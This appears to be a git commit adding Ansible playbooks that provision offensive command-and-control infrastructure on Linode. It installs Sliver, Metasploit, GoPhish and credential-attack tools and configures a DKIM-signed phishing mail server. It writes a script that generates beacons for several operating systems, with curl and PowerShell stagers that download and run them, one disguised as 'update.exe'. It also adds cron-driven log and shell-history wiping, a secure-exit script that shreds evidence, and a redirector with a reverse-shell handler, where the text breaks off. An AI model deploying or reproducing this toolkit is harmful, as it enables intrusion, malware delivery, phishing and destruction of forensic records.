init
This commit is contained in:
@@ -0,0 +1,355 @@
|
||||
---
|
||||
- name: Create and configure Linode instance for C2 Server
|
||||
hosts: localhost
|
||||
gather_facts: false
|
||||
connection: local
|
||||
vars_files:
|
||||
- vars.yaml
|
||||
tasks:
|
||||
- name: Select a random region
|
||||
set_fact:
|
||||
selected_region: "{{ region_choices | random }}"
|
||||
|
||||
- name: Create Linode instance
|
||||
community.general.linode_v4:
|
||||
access_token: "{{ linode_token }}"
|
||||
label: "{{ instance_label }}"
|
||||
type: "{{ plan }}"
|
||||
region: "{{ selected_region }}"
|
||||
image: "{{ image }}"
|
||||
root_pass: "{{ lookup('password', '/dev/null length=16') }}"
|
||||
authorized_keys:
|
||||
- "{{ lookup('file', ssh_key_path) }}"
|
||||
state: present
|
||||
register: linode_instance
|
||||
|
||||
- name: Wait for Linode instance to be reachable
|
||||
wait_for:
|
||||
host: "{{ linode_instance.instance.ipv4[0] }}"
|
||||
port: 22
|
||||
delay: 30
|
||||
timeout: 600
|
||||
state: started
|
||||
|
||||
- name: Add Linode instance to inventory
|
||||
add_host:
|
||||
name: "{{ instance_label }}"
|
||||
ansible_host: "{{ linode_instance.instance.ipv4[0] }}"
|
||||
ansible_user: root
|
||||
ansible_ssh_private_key_file: "{{ ssh_key_path | replace('.pub', '') }}"
|
||||
|
||||
- name: Secure and configure C2 server
|
||||
hosts: "{{ instance_label }}"
|
||||
gather_facts: true
|
||||
tasks:
|
||||
- name: Disable root password authentication for SSH immediately
|
||||
ansible.builtin.lineinfile:
|
||||
path: /etc/ssh/sshd_config
|
||||
regexp: '^#?PasswordAuthentication'
|
||||
line: 'PasswordAuthentication no'
|
||||
state: present
|
||||
|
||||
- name: Restart SSH service to apply root password login restriction
|
||||
ansible.builtin.service:
|
||||
name: ssh
|
||||
state: restarted
|
||||
|
||||
- name: Update apt package list
|
||||
ansible.builtin.apt:
|
||||
update_cache: yes
|
||||
|
||||
- name: Set a custom MOTD
|
||||
template:
|
||||
src: motd-linode.j2
|
||||
dest: /etc/motd
|
||||
owner: root
|
||||
group: root
|
||||
mode: '0644'
|
||||
vars:
|
||||
letsencrypt_email: "{{ letsencrypt_email }}"
|
||||
mail_hostname: "{{ mail_hostname }}"
|
||||
domain: "{{ domain }}"
|
||||
gophish_admin_domain: "{{ gophish_admin_domain }}"
|
||||
gophish_site_domain: "{{ gophish_site_domain }}"
|
||||
|
||||
- name: Hush Default Login Message
|
||||
ansible.builtin.shell: |
|
||||
rm -rf '/usr/bin/kali-motd'
|
||||
|
||||
- name: Install base utilities and tools via apt
|
||||
ansible.builtin.apt:
|
||||
name:
|
||||
- git
|
||||
- wget
|
||||
- curl
|
||||
- unzip
|
||||
- python3-pip
|
||||
- python3-venv
|
||||
- tmux
|
||||
- pipx
|
||||
- nmap
|
||||
- tcpdump
|
||||
- hydra
|
||||
- john
|
||||
- hashcat
|
||||
- sqlmap
|
||||
- gobuster
|
||||
- dirb
|
||||
- enum4linux
|
||||
- dnsenum
|
||||
- seclists
|
||||
- responder
|
||||
- golang
|
||||
- proxychains
|
||||
- tor
|
||||
- crackmapexec
|
||||
- jq
|
||||
- unzip
|
||||
- postfix
|
||||
- certbot
|
||||
- opendkim
|
||||
- opendkim-tools
|
||||
- dovecot-core
|
||||
- dovecot-imapd
|
||||
- dovecot-pop3d
|
||||
- dovecot-sieve
|
||||
- dovecot-managesieved
|
||||
- yq
|
||||
state: present
|
||||
|
||||
- name: Ensure pipx path is configured
|
||||
ansible.builtin.shell: |
|
||||
pipx ensurepath
|
||||
args:
|
||||
executable: /bin/bash
|
||||
|
||||
- name: Install tools via pipx
|
||||
ansible.builtin.shell: |
|
||||
export PATH=$PATH:/root/.local/bin
|
||||
pipx ensurepath
|
||||
pipx install git+https://github.com/Pennyw0rth/NetExec
|
||||
pipx install git+https://github.com/blacklanternsecurity/TREVORspray
|
||||
pipx install impacket
|
||||
args:
|
||||
executable: /bin/bash
|
||||
|
||||
- name: Download Kerbrute
|
||||
ansible.builtin.shell: |
|
||||
mkdir -p ~/Tools/Kerbrute
|
||||
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O ~/Tools/Kerbrute/kerbrute
|
||||
chmod +x ~/Tools/Kerbrute/kerbrute
|
||||
args:
|
||||
executable: /bin/bash
|
||||
|
||||
- name: Clone SharpCollection nightly builds
|
||||
ansible.builtin.git:
|
||||
repo: https://github.com/Flangvik/SharpCollection.git
|
||||
dest: ~/Tools/SharpCollection
|
||||
version: master
|
||||
|
||||
- name: Clone PEASS-ng
|
||||
ansible.builtin.git:
|
||||
repo: https://github.com/carlospolop/PEASS-ng.git
|
||||
dest: ~/Tools/PEASS-ng
|
||||
|
||||
- name: Clone MailSniper
|
||||
ansible.builtin.git:
|
||||
repo: https://github.com/dafthack/MailSniper.git
|
||||
dest: ~/Tools/MailSniper
|
||||
|
||||
- name: Clone Inveigh
|
||||
ansible.builtin.git:
|
||||
repo: https://github.com/Kevin-Robertson/Inveigh.git
|
||||
dest: ~/Tools/Inveigh
|
||||
|
||||
- name: Install Sliver C2 server
|
||||
ansible.builtin.shell: |
|
||||
curl https://sliver.sh/install | sudo bash
|
||||
systemctl enable sliver
|
||||
systemctl start sliver
|
||||
|
||||
- name: Install Metasploit Framework (Nightly Build)
|
||||
ansible.builtin.shell: |
|
||||
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > ~/Tools/msfinstall
|
||||
chmod 755 ~/Tools/msfinstall
|
||||
~/Tools/msfinstall
|
||||
args:
|
||||
executable: /bin/bash
|
||||
|
||||
- name: Grab GoPhish
|
||||
ansible.builtin.shell: |
|
||||
curl -L "$(curl -s https://api.github.com/repos/gophish/gophish/releases/latest | jq -r '.assets[] | select(.browser_download_url | contains("linux-64bit.zip")) | .browser_download_url')" -o ~/Tools/gophish.zip
|
||||
unzip ~/Tools/gophish.zip -d ~/Tools/gophish
|
||||
rm -rf ~/Tools/gophish.zip
|
||||
chmod +x ~/Tools/gophish
|
||||
|
||||
- name: Deploy Gophish config.json with custom admin port
|
||||
template:
|
||||
src: gophish-config.j2
|
||||
dest: ~/Tools/gophish/config.json
|
||||
owner: root
|
||||
group: root
|
||||
mode: '0644'
|
||||
vars:
|
||||
gophish_admin_port: "{{ gophish_admin_port }}"
|
||||
domain: "{{ domain }}"
|
||||
|
||||
- name: Configure Postfix main.cf
|
||||
lineinfile:
|
||||
path: /etc/postfix/main.cf
|
||||
regexp: "{{ item.regexp }}"
|
||||
line: "{{ item.line }}"
|
||||
with_items:
|
||||
- { regexp: '^myhostname', line: "myhostname = mail.{{ domain }}" }
|
||||
- { regexp: '^mydomain', line: "mydomain = {{ domain }}" }
|
||||
- { regexp: '^myorigin', line: "myorigin = $mydomain" }
|
||||
- { regexp: '^inet_interfaces', line: "inet_interfaces = all" }
|
||||
- { regexp: '^inet_protocols', line: "inet_protocols = ipv4" }
|
||||
- { regexp: '^smtpd_banner', line: "smtpd_banner = $myhostname ESMTP $mail_name" }
|
||||
- { regexp: '^mynetworks', line: "mynetworks = 127.0.0.0/8 [::1]/128" }
|
||||
- { regexp: '^relay_domains', line: "relay_domains = $mydestination" }
|
||||
- { regexp: '^smtpd_tls_cert_file', line: "smtpd_tls_cert_file = /etc/letsencrypt/live/{{ domain }}/fullchain.pem" }
|
||||
- { regexp: '^smtpd_tls_key_file', line: "smtpd_tls_key_file = /etc/letsencrypt/live/{{ domain }}/privkey.pem" }
|
||||
- { regexp: '^smtpd_tls_security_level', line: "smtpd_tls_security_level = encrypt" }
|
||||
- { regexp: '^smtpd_tls_session_cache_database', line: "smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache" }
|
||||
- { regexp: '^smtp_tls_session_cache_database', line: "smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache" }
|
||||
- { regexp: '^smtpd_use_tls', line: "smtpd_use_tls = yes" }
|
||||
- { regexp: '^smtpd_tls_auth_only', line: "smtpd_tls_auth_only = yes" }
|
||||
- { regexp: '^milter_default_action', line: "milter_default_action = accept" }
|
||||
- { regexp: '^milter_protocol', line: "milter_protocol = 6" }
|
||||
- { regexp: '^smtpd_milters', line: "smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" }
|
||||
- { regexp: '^non_smtpd_milters', line: "non_smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" }
|
||||
|
||||
- name: Configure OpenDKIM
|
||||
lineinfile:
|
||||
path: /etc/opendkim.conf
|
||||
regexp: "{{ item.regexp }}"
|
||||
line: "{{ item.line }}"
|
||||
with_items:
|
||||
- { regexp: '^Domain', line: "Domain {{ domain }}" }
|
||||
- { regexp: '^KeyFile', line: "KeyFile /etc/opendkim/keys/{{ domain }}/mail.private" }
|
||||
- { regexp: '^Selector', line: "Selector mail" }
|
||||
- { regexp: '^Socket', line: "Socket local:/var/spool/postfix/opendkim/opendkim.sock" }
|
||||
- { regexp: '^Syslog', line: "Syslog yes" }
|
||||
- { regexp: '^UMask', line: "UMask 002" }
|
||||
- { regexp: '^Mode', line: "Mode sv" }
|
||||
|
||||
- name: Create DKIM directory
|
||||
file:
|
||||
path: /etc/opendkim/keys/{{ domain }}
|
||||
state: directory
|
||||
owner: opendkim
|
||||
group: opendkim
|
||||
mode: 0700
|
||||
|
||||
- name: Generate DKIM keys
|
||||
command: >
|
||||
opendkim-genkey -D /etc/opendkim/keys/{{ domain }} -d {{ domain }} -s mail
|
||||
args:
|
||||
creates: /etc/opendkim/keys/{{ domain }}/mail.private
|
||||
|
||||
- name: Set permissions for DKIM keys
|
||||
file:
|
||||
path: /etc/opendkim/keys/{{ domain }}/mail.private
|
||||
owner: opendkim
|
||||
group: opendkim
|
||||
mode: 0600
|
||||
|
||||
- name: Configure OpenDKIM TrustedHosts
|
||||
copy:
|
||||
content: |
|
||||
127.0.0.1
|
||||
::1
|
||||
localhost
|
||||
{{ domain }}
|
||||
dest: /etc/opendkim/TrustedHosts
|
||||
owner: opendkim
|
||||
group: opendkim
|
||||
mode: 0644
|
||||
|
||||
- name: Enable submission port (587) in master.cf
|
||||
blockinfile:
|
||||
path: /etc/postfix/master.cf
|
||||
insertafter: '^#submission'
|
||||
block: |
|
||||
submission inet n - y - - smtpd
|
||||
-o syslog_name=postfix/submission
|
||||
-o smtpd_tls_security_level=encrypt
|
||||
-o smtpd_sasl_auth_enable=yes
|
||||
-o smtpd_recipient_restrictions=permit_sasl_authenticated,reject
|
||||
-o smtpd_relay_restrictions=permit_sasl_authenticated,reject
|
||||
|
||||
# Dovecot Configuration for SASL
|
||||
- name: Configure Dovecot for Postfix SASL
|
||||
blockinfile:
|
||||
path: /etc/dovecot/conf.d/10-master.conf
|
||||
insertafter: '^service auth {'
|
||||
block: |
|
||||
# Postfix smtp-auth
|
||||
unix_listener /var/spool/postfix/private/auth {
|
||||
mode = 0660
|
||||
user = postfix
|
||||
group = postfix
|
||||
}
|
||||
|
||||
- name: Set Dovecot auth_mechanisms
|
||||
lineinfile:
|
||||
path: /etc/dovecot/conf.d/10-auth.conf
|
||||
regexp: '^auth_mechanisms'
|
||||
line: 'auth_mechanisms = plain login'
|
||||
|
||||
- name: Create Dovecot password file for SASL authentication
|
||||
file:
|
||||
path: /etc/dovecot/passwd
|
||||
state: touch
|
||||
mode: '0600'
|
||||
owner: dovecot
|
||||
group: dovecot
|
||||
|
||||
- name: Add SMTP auth user to Dovecot
|
||||
lineinfile:
|
||||
path: /etc/dovecot/passwd
|
||||
line: "{{ smtp_auth_user }}:{{ smtp_auth_pass | password_hash('sha512_crypt') }}"
|
||||
|
||||
- name: Disable system auth and use passwd-file
|
||||
lineinfile:
|
||||
path: /etc/dovecot/conf.d/10-auth.conf
|
||||
regexp: '^!include auth-system.conf.ext'
|
||||
line: '#!include auth-system.conf.ext'
|
||||
|
||||
- name: Add auth-passwdfile configuration
|
||||
blockinfile:
|
||||
path: /etc/dovecot/conf.d/10-auth.conf
|
||||
insertafter: '^auth_mechanisms ='
|
||||
block: |
|
||||
passdb {
|
||||
driver = passwd-file
|
||||
args = scheme=sha512_crypt /etc/dovecot/passwd
|
||||
}
|
||||
userdb {
|
||||
driver = static
|
||||
args = uid=vmail gid=vmail home=/var/vmail/%u
|
||||
}
|
||||
|
||||
- name: Create vmail user/group
|
||||
group:
|
||||
name: vmail
|
||||
gid: 5000
|
||||
state: present
|
||||
|
||||
- name: Create vmail user
|
||||
user:
|
||||
name: vmail
|
||||
uid: 5000
|
||||
group: vmail
|
||||
create_home: no
|
||||
|
||||
- name: Restart Postfix
|
||||
service:
|
||||
name: postfix
|
||||
state: restarted
|
||||
|
||||
- name: Restart Dovecot
|
||||
service:
|
||||
name: dovecot
|
||||
state: restarted
|
||||
+341
@@ -0,0 +1,341 @@
|
||||
---
|
||||
- name: Deploy Linode C2 server
|
||||
hosts: localhost
|
||||
gather_facts: false
|
||||
connection: local
|
||||
vars:
|
||||
region: "{{ linode_region | default('us-east') }}"
|
||||
instance_type: "{{ size | default('g6-standard-1') }}"
|
||||
instance_name: "{{ c2_name | default('c2') }}"
|
||||
domain: "{{ domain | default('example.com') }}"
|
||||
c2_subdomain: "mail"
|
||||
linode_image: "linode/debian11"
|
||||
|
||||
tasks:
|
||||
- name: Create Linode C2 instance
|
||||
community.general.linode_v4:
|
||||
label: "{{ instance_name }}"
|
||||
type: "{{ instance_type }}"
|
||||
region: "{{ region }}"
|
||||
image: "{{ linode_image }}"
|
||||
root_pass: "{{ lookup('password', '/dev/null length=24 chars=ascii_letters,digits') }}"
|
||||
authorized_keys:
|
||||
- "{{ lookup('file', ssh_key) }}"
|
||||
state: present
|
||||
register: c2_instance
|
||||
|
||||
- name: Save C2 IP
|
||||
set_fact:
|
||||
c2_ip: "{{ c2_instance.instance.ipv4[0] }}"
|
||||
|
||||
- name: Wait for SSH to become available
|
||||
wait_for:
|
||||
host: "{{ c2_ip }}"
|
||||
port: 22
|
||||
delay: 10
|
||||
timeout: 300
|
||||
state: started
|
||||
|
||||
- name: Add C2 server to inventory
|
||||
add_host:
|
||||
name: c2
|
||||
ansible_host: "{{ c2_ip }}"
|
||||
ansible_user: "{{ ssh_user | default('root') }}"
|
||||
ansible_ssh_private_key_file: "{{ ssh_key | replace('.pub', '') }}"
|
||||
groups: c2servers
|
||||
|
||||
- name: Configure C2 server
|
||||
hosts: c2servers
|
||||
become: true
|
||||
vars:
|
||||
domain: "{{ domain | default('example.com') }}"
|
||||
c2_subdomain: "mail"
|
||||
letsencrypt_email: "{{ letsencrypt_email | default('admin@example.com') }}"
|
||||
zero_logs: "{{ zero_logs | default(true) }}"
|
||||
redirector_ip: "{{ hostvars['localhost']['redirector_ip'] | default('127.0.0.1') }}"
|
||||
|
||||
tasks:
|
||||
- name: Update apt cache
|
||||
apt:
|
||||
update_cache: yes
|
||||
|
||||
- name: Install required packages
|
||||
apt:
|
||||
name:
|
||||
- git
|
||||
- wget
|
||||
- curl
|
||||
- python3-pip
|
||||
- golang
|
||||
- tmux
|
||||
- nmap
|
||||
- jq
|
||||
- secure-delete
|
||||
- socat
|
||||
state: present
|
||||
|
||||
- name: Create directories for C2 operation
|
||||
file:
|
||||
path: "{{ item }}"
|
||||
state: directory
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
with_items:
|
||||
- /opt/c2
|
||||
- /opt/beacons
|
||||
- /opt/payloads
|
||||
|
||||
- name: Create clean-logs.sh script
|
||||
copy:
|
||||
content: |
|
||||
#!/bin/bash
|
||||
# Zero-logs maintenance script
|
||||
umask 077
|
||||
|
||||
# Disable syslog temporarily
|
||||
systemctl stop rsyslog 2>/dev/null
|
||||
systemctl stop systemd-journald 2>/dev/null
|
||||
|
||||
# Clear system logs
|
||||
find /var/log -type f -name "*.log" -exec truncate -s 0 {} \;
|
||||
find /var/log -type f -name "auth.log*" -exec truncate -s 0 {} \;
|
||||
find /var/log -type f -name "syslog*" -exec truncate -s 0 {} \;
|
||||
journalctl --vacuum-time=1s 2>/dev/null
|
||||
|
||||
# Clear bash history
|
||||
for histfile in /root/.bash_history /home/*/.bash_history; do
|
||||
[ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null
|
||||
done
|
||||
history -c
|
||||
|
||||
# Clear Sliver logs
|
||||
find /root/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null
|
||||
|
||||
# Clear temporary directories
|
||||
rm -rf /tmp/* /var/tmp/* 2>/dev/null
|
||||
|
||||
# Restart logging services
|
||||
systemctl start systemd-journald 2>/dev/null
|
||||
systemctl start rsyslog 2>/dev/null
|
||||
|
||||
echo "[+] Log cleaning complete"
|
||||
exit 0
|
||||
dest: /opt/c2/clean-logs.sh
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create secure-exit.sh script
|
||||
copy:
|
||||
content: |
|
||||
#!/bin/bash
|
||||
# Secure cleanup script
|
||||
|
||||
# Configuration
|
||||
SECURE_DELETE_PASSES=7
|
||||
MEMORY_WIPE=true
|
||||
|
||||
# Set secure umask
|
||||
umask 077
|
||||
|
||||
# Function to securely delete files
|
||||
secure_delete() {
|
||||
local target=$1
|
||||
echo "[+] Securely deleting: $target"
|
||||
|
||||
if command -v srm > /dev/null; then
|
||||
srm -vzf $target 2>/dev/null
|
||||
elif command -v shred > /dev/null; then
|
||||
shred -vzfn $SECURE_DELETE_PASSES $target 2>/dev/null
|
||||
else
|
||||
# Fallback to dd if specialized tools aren't available
|
||||
dd if=/dev/urandom of=$target bs=1M count=10 conv=notrunc 2>/dev/null
|
||||
dd if=/dev/zero of=$target bs=1M count=10 conv=notrunc 2>/dev/null
|
||||
rm -f $target 2>/dev/null
|
||||
fi
|
||||
}
|
||||
|
||||
echo "[+] Beginning secure exit procedure..."
|
||||
|
||||
# Stop all operational services
|
||||
echo "[+] Stopping operational services..."
|
||||
services=("sliver")
|
||||
for service in "${services[@]}"; do
|
||||
systemctl stop $service 2>/dev/null
|
||||
done
|
||||
|
||||
# Kill any remaining operational processes
|
||||
echo "[+] Terminating operational processes..."
|
||||
process_names=("sliver" "nc" "python")
|
||||
for proc in "${process_names[@]}"; do
|
||||
pkill -9 $proc 2>/dev/null
|
||||
done
|
||||
|
||||
# Clear all logs
|
||||
echo "[+] Clearing logs..."
|
||||
bash /opt/c2/clean-logs.sh
|
||||
|
||||
# Securely delete operational files
|
||||
echo "[+] Removing operational files..."
|
||||
operational_dirs=(
|
||||
"/opt/c2"
|
||||
"/opt/beacons"
|
||||
"/opt/payloads"
|
||||
"/root/.sliver"
|
||||
)
|
||||
|
||||
for dir in "${operational_dirs[@]}"; do
|
||||
find $dir -type f 2>/dev/null | while read file; do
|
||||
secure_delete "$file"
|
||||
done
|
||||
rm -rf $dir 2>/dev/null
|
||||
done
|
||||
|
||||
# Remove SSH keys
|
||||
echo "[+] Removing SSH keys and configs..."
|
||||
find /home/*/.ssh /root/.ssh -type f 2>/dev/null | while read file; do
|
||||
secure_delete "$file"
|
||||
done
|
||||
|
||||
# Clean memory if requested
|
||||
if $MEMORY_WIPE; then
|
||||
echo "[+] Wiping system memory..."
|
||||
sync
|
||||
echo 3 > /proc/sys/vm/drop_caches
|
||||
swapoff -a
|
||||
swapon -a
|
||||
fi
|
||||
|
||||
echo "[+] Secure exit completed. Infrastructure has been sanitized."
|
||||
|
||||
# Remove this script itself
|
||||
exec shred -n $SECURE_DELETE_PASSES -uz $0
|
||||
dest: /opt/c2/secure-exit.sh
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create beacon-server.sh script
|
||||
copy:
|
||||
content: |
|
||||
#!/bin/bash
|
||||
# Beacon server script
|
||||
|
||||
# Configuration
|
||||
BEACONS_DIR="/opt/beacons"
|
||||
WEBSERVER_PORT=8443
|
||||
|
||||
# Set secure umask
|
||||
umask 077
|
||||
|
||||
# Ensure beacons directory exists
|
||||
mkdir -p $BEACONS_DIR
|
||||
|
||||
# Generate beacons using Sliver
|
||||
echo "[+] Generating beacons for all platforms..."
|
||||
|
||||
# Make sure Sliver server is running
|
||||
if ! pgrep -x "sliver-server" > /dev/null; then
|
||||
echo "[!] Sliver server is not running, starting it..."
|
||||
systemctl start sliver
|
||||
sleep 5
|
||||
fi
|
||||
|
||||
# Generate Windows beacon
|
||||
sliver-cli generate --http {{ ansible_host }}:8888 --os windows --arch amd64 --save $BEACONS_DIR/windows.exe
|
||||
|
||||
# Generate Linux beacon
|
||||
sliver-cli generate --http {{ ansible_host }}:8888 --os linux --arch amd64 --save $BEACONS_DIR/linux
|
||||
|
||||
# Generate macOS beacon
|
||||
sliver-cli generate --http {{ ansible_host }}:8888 --os darwin --arch amd64 --save $BEACONS_DIR/macos
|
||||
|
||||
# Generate stagers
|
||||
echo "#!/bin/bash
|
||||
curl -s {{ ansible_host }}:8443/linux | chmod +x && ./linux" > $BEACONS_DIR/beacon.sh
|
||||
chmod +x $BEACONS_DIR/beacon.sh
|
||||
|
||||
echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;
|
||||
\$url = 'http://{{ ansible_host }}:8443/windows.exe';
|
||||
\$outpath = \"\$env:TEMP\\update.exe\";
|
||||
Invoke-WebRequest -Uri \$url -OutFile \$outpath;
|
||||
Start-Process -NoNewWindow -FilePath \$outpath;" > $BEACONS_DIR/beacon.ps1
|
||||
|
||||
echo "[+] All beacons generated successfully"
|
||||
|
||||
# Serve beacons using Python's HTTP server
|
||||
echo "[+] Starting HTTP server on port $WEBSERVER_PORT..."
|
||||
cd $BEACONS_DIR
|
||||
python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 &
|
||||
SERVER_PID=$!
|
||||
|
||||
echo "[+] Beacon server started with PID $SERVER_PID"
|
||||
echo "[+] Beacons available at http://{{ ansible_host }}:$WEBSERVER_PORT/"
|
||||
|
||||
# Keep script running
|
||||
trap "kill $SERVER_PID; echo '[+] Beacon server stopped'; exit 0" INT
|
||||
while true; do sleep 1; done
|
||||
dest: /opt/c2/beacon-server.sh
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Install Sliver C2 framework
|
||||
shell: |
|
||||
curl https://sliver.sh/install | bash
|
||||
args:
|
||||
creates: /usr/local/bin/sliver-server
|
||||
|
||||
- name: Create Sliver service file
|
||||
copy:
|
||||
content: |
|
||||
[Unit]
|
||||
Description=Sliver C2 Server
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
User=root
|
||||
Group=root
|
||||
WorkingDirectory=/root/.sliver
|
||||
ExecStart=/usr/local/bin/sliver-server daemon
|
||||
Restart=always
|
||||
RestartSec=10
|
||||
|
||||
# Security measures
|
||||
PrivateTmp=true
|
||||
ProtectHome=false
|
||||
NoNewPrivileges=true
|
||||
|
||||
# Hide process information
|
||||
StandardOutput=null
|
||||
StandardError=null
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
dest: /etc/systemd/system/sliver.service
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Start and enable Sliver service
|
||||
systemd:
|
||||
name: sliver
|
||||
state: started
|
||||
enabled: yes
|
||||
daemon_reload: yes
|
||||
|
||||
- name: Set up cron job for log cleaning
|
||||
cron:
|
||||
name: "Clean logs"
|
||||
minute: "0"
|
||||
hour: "*/6"
|
||||
job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
|
||||
when: zero_logs|bool
|
||||
|
||||
- name: Start beacon server
|
||||
shell: |
|
||||
nohup /opt/c2/beacon-server.sh > /dev/null 2>&1 &
|
||||
args:
|
||||
creates: /opt/beacons/windows.exe
|
||||
@@ -0,0 +1,436 @@
|
||||
---
|
||||
- name: Deploy Linode redirector server
|
||||
hosts: localhost
|
||||
gather_facts: false
|
||||
connection: local
|
||||
vars:
|
||||
region: "{{ linode_region | default('us-east') }}"
|
||||
instance_type: "{{ size | default('g6-standard-1') }}"
|
||||
instance_name: "{{ redirector_name | default('redirector') }}"
|
||||
domain: "{{ domain | default('example.com') }}"
|
||||
redirector_subdomain: "cdn"
|
||||
linode_image: "linode/debian11"
|
||||
|
||||
tasks:
|
||||
- name: Create Linode redirector instance
|
||||
community.general.linode_v4:
|
||||
label: "{{ instance_name }}"
|
||||
type: "{{ instance_type }}"
|
||||
region: "{{ region }}"
|
||||
image: "{{ linode_image }}"
|
||||
root_pass: "{{ lookup('password', '/dev/null length=24 chars=ascii_letters,digits') }}"
|
||||
authorized_keys:
|
||||
- "{{ lookup('file', ssh_key) }}"
|
||||
state: present
|
||||
register: redirector_instance
|
||||
|
||||
- name: Save redirector IP
|
||||
set_fact:
|
||||
redirector_ip: "{{ redirector_instance.instance.ipv4[0] }}"
|
||||
|
||||
- name: Wait for SSH to become available
|
||||
wait_for:
|
||||
host: "{{ redirector_ip }}"
|
||||
port: 22
|
||||
delay: 10
|
||||
timeout: 300
|
||||
state: started
|
||||
|
||||
- name: Add redirector to inventory
|
||||
add_host:
|
||||
name: redirector
|
||||
ansible_host: "{{ redirector_ip }}"
|
||||
ansible_user: "{{ ssh_user | default('root') }}"
|
||||
ansible_ssh_private_key_file: "{{ ssh_key | replace('.pub', '') }}"
|
||||
groups: redirectors
|
||||
|
||||
- name: Configure redirector
|
||||
hosts: redirectors
|
||||
become: true
|
||||
vars:
|
||||
domain: "{{ domain | default('example.com') }}"
|
||||
redirector_subdomain: "cdn"
|
||||
letsencrypt_email: "{{ letsencrypt_email | default('admin@example.com') }}"
|
||||
zero_logs: "{{ zero_logs | default(true) }}"
|
||||
shell_handler_port: 4444
|
||||
c2_ip: "{{ hostvars['localhost']['c2_ip'] | default('127.0.0.1') }}"
|
||||
|
||||
tasks:
|
||||
- name: Update apt cache
|
||||
apt:
|
||||
update_cache: yes
|
||||
|
||||
- name: Install required packages
|
||||
apt:
|
||||
name:
|
||||
- nginx
|
||||
- certbot
|
||||
- python3-certbot-nginx
|
||||
- socat
|
||||
- netcat-openbsd
|
||||
- cryptsetup
|
||||
- secure-delete
|
||||
state: present
|
||||
|
||||
- name: Create directories for OPSEC scripts
|
||||
file:
|
||||
path: "{{ item }}"
|
||||
state: directory
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
with_items:
|
||||
- /opt/c2
|
||||
- /opt/shell-handler
|
||||
|
||||
- name: Create clean-logs.sh script
|
||||
copy:
|
||||
content: |
|
||||
#!/bin/bash
|
||||
# Zero-logs maintenance script
|
||||
umask 077
|
||||
|
||||
# Disable syslog temporarily
|
||||
systemctl stop rsyslog 2>/dev/null
|
||||
systemctl stop systemd-journald 2>/dev/null
|
||||
|
||||
# Clear system logs
|
||||
find /var/log -type f -name "*.log" -exec truncate -s 0 {} \;
|
||||
find /var/log -type f -name "auth.log*" -exec truncate -s 0 {} \;
|
||||
find /var/log -type f -name "syslog*" -exec truncate -s 0 {} \;
|
||||
journalctl --vacuum-time=1s 2>/dev/null
|
||||
|
||||
# Clear bash history
|
||||
for histfile in /root/.bash_history /home/*/.bash_history; do
|
||||
[ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null
|
||||
done
|
||||
history -c
|
||||
|
||||
# Clear NGINX logs
|
||||
for nginx_log in /var/log/nginx/*; do
|
||||
[ -f "$nginx_log" ] && cat /dev/null > "$nginx_log" 2>/dev/null
|
||||
done
|
||||
|
||||
# Clear temporary directories
|
||||
rm -rf /tmp/* /var/tmp/* 2>/dev/null
|
||||
|
||||
# Restart logging services
|
||||
systemctl start systemd-journald 2>/dev/null
|
||||
systemctl start rsyslog 2>/dev/null
|
||||
|
||||
echo "[+] Log cleaning complete"
|
||||
exit 0
|
||||
dest: /opt/c2/clean-logs.sh
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create shell handler script
|
||||
copy:
|
||||
content: |
|
||||
#!/bin/bash
|
||||
# Automated shell handler for catching and upgrading reverse shells
|
||||
|
||||
# Configuration
|
||||
LISTEN_PORT={{ shell_handler_port }}
|
||||
C2_HOST="{{ c2_ip }}"
|
||||
|
||||
# Set secure permissions
|
||||
umask 077
|
||||
|
||||
# Logging function
|
||||
log() {
|
||||
local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
|
||||
local message="$1"
|
||||
echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /opt/shell-handler/activity.log.enc
|
||||
}
|
||||
|
||||
# Detect OS function
|
||||
detect_os() {
|
||||
local connection=$1
|
||||
|
||||
# Send commands to determine OS
|
||||
echo "echo \$OSTYPE" > $connection
|
||||
sleep 1
|
||||
ostype=$(cat $connection | grep -i "linux\|darwin\|win")
|
||||
|
||||
if [[ $ostype == *"win"* ]]; then
|
||||
echo "windows"
|
||||
elif [[ $ostype == *"darwin"* ]]; then
|
||||
echo "macos"
|
||||
elif [[ $ostype == *"linux"* ]]; then
|
||||
echo "linux"
|
||||
else
|
||||
# Try Windows-specific command
|
||||
echo "ver" > $connection
|
||||
sleep 1
|
||||
winver=$(cat $connection | grep -i "microsoft windows")
|
||||
|
||||
if [[ -n "$winver" ]]; then
|
||||
echo "windows"
|
||||
else
|
||||
# Default to Linux if we can't determine
|
||||
echo "linux"
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
# Main shell handler loop
|
||||
handle_connections() {
|
||||
log "Shell handler started on port $LISTEN_PORT"
|
||||
|
||||
# Use mkfifo for bidirectional communication
|
||||
PIPE_PATH="/tmp/shell_handler_pipe"
|
||||
trap 'rm -f $PIPE_PATH' EXIT
|
||||
|
||||
while true; do
|
||||
# Clean up existing pipe
|
||||
